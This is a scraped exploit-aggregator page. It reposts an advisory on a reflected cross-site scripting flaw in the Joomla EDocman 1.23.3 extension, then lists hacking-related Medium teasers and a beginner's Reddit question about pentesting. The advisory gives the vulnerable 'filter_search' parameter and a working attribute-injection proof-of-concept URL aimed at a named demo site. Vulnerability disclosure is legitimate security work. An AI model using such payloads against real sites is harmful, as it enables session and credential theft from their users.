Exploit Collector
Joomla EDocman 1.23.3 Cross Site Scripting

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png Joomla EDocman extension version 1.23.3 suffers from a cross site scripting vulnerability.

SHA-256 | 7b56a9d176668a085432fd6441efba2f1cb355a86dd6f94e9c5fcdce3437fd1eDownload ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : extensions.joomla.org │
│ Vendor : Ossolution Team │
│ Software : EDocman 1.23.3 Extension for Joomla - Reflected XSS │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ B4nks-NET irc.b4nks.tk #unix ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2022 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'filter_search' is vulnerable to XSS

Path: index.php/edocman-layouts/categories-layouts/tree-view/search-result?filter_category_id=1&filter_search=[XSS]

https://joomdonationdemo.com/edocman/index.php/edocman-layouts/categories-layouts/tree-view/search-result?filter_category_id=1&filter_search=ekmj6"onfocus="alert(1)"autofocus="fjozn
[-] Done Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How I got a $3000 bounty in 5 min.
https://medium.com/@solocoderider/how-i-got-a-3000-bounty-in-5-min-2e19da81db46?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi all,Continue reading on Medium » (https://medium.com/@solocoderider/how-i-got-a-3000-bounty-in-5-min-2e19da81db46?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I got a $3000 bounty in 5 min.

https://cdn-images-1.medium.com/max/600/1*gkQj2G_9vDMnh0rTnhRDaw.gif
Hi all,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OWASP API Security (Offensive Prespective) : Broken Function Level Authorization #5

https://cdn-images-1.medium.com/max/612/0*wLyCxbW1oXj1sa-X
Assalamualaikum Wr. Wb

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Worldwide Server-side Cache Poisoning on All Akamai Edge Nodes ($50K+ Bounty Earned)

https://cdn-images-1.medium.com/max/1035/1*u6qAnC98KRw8xSDQyFpypQ.png
Introduction And Context

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Try Hack me — Elliot’s Secret Files

https://cdn-images-1.medium.com/max/1400/1*hHPtAV3pdTQIBUuWPuY8iQ.jpeg
Hello friends. In this write up I will do a walkthrough of Elliot’s Secret Files Try Hack Me room, which is the very first room I created…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Google’s Cyclic Dependency Exploit with Google Admin App

https://cdn-images-1.medium.com/max/720/1*Kmt6DeyVvknzNcw2i-x7Gw.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Los SMS son la forma “más vulnerable” de verificación en dos pasos.

https://cdn-images-1.medium.com/max/1723/0*1EIYiRGIwvrGk0Qu
El nivel de seguridad que proporcionan los SMS palidece en comparación con los autentificadores o las claves de seguridad físicas, afirma…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Minotaur’s Labyrinth CTF

https://cdn-images-1.medium.com/max/860/0*VP0doq1ei3k5RHq9.png
Welcome to my writeup of the “Minotaur’s Labyrinth” CTF on TryHackMe.
You will learn about SQL-Injection, Command Injection, hash cracking…

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers now sharing cracked Brute Ratel post-exploitation kit online

https://cdn-images-1.medium.com/max/1299/1*8HDdwe_0O8j9o-2zlksWaQ.png
The Brute Ratel post-exploitation toolkit has been cracked and is now being shared for free in the Russian and English-speaking hacking…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Следующие шаги Clipper после взлома Nomad Bridge

https://cdn-images-1.medium.com/max/2600/1*QCI28dr59gX-Q0DoZPQO5w.png
1 августа 2022 года мост Nomad был взломан , и все 190 миллионов долларов в криптоактивах были украдены. Команда Clipper провела последние…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Advice
https://www.reddit.com/r/Pentesting/comments/xrcvg3/advice/

I am a guy that wants to get into pentesting and ethickal hacking for free or at least cheaply. Do you have any advice on where to start ? The amount of info is absolutely daunting to me, and i do not have a clue as to where i should get my info. Thank you in advance kind strangers. P.S. English hard language and not my first language :) submitted by /u/TheYvAaKK (https://www.reddit.com/user/TheYvAaKK)
[link] (https://www.reddit.com/r/Pentesting/comments/xrcvg3/advice/) [comments] (https://www.reddit.com/r/Pentesting/comments/xrcvg3/advice/)

___________________________
@hacking_Attack
@Hacking_Video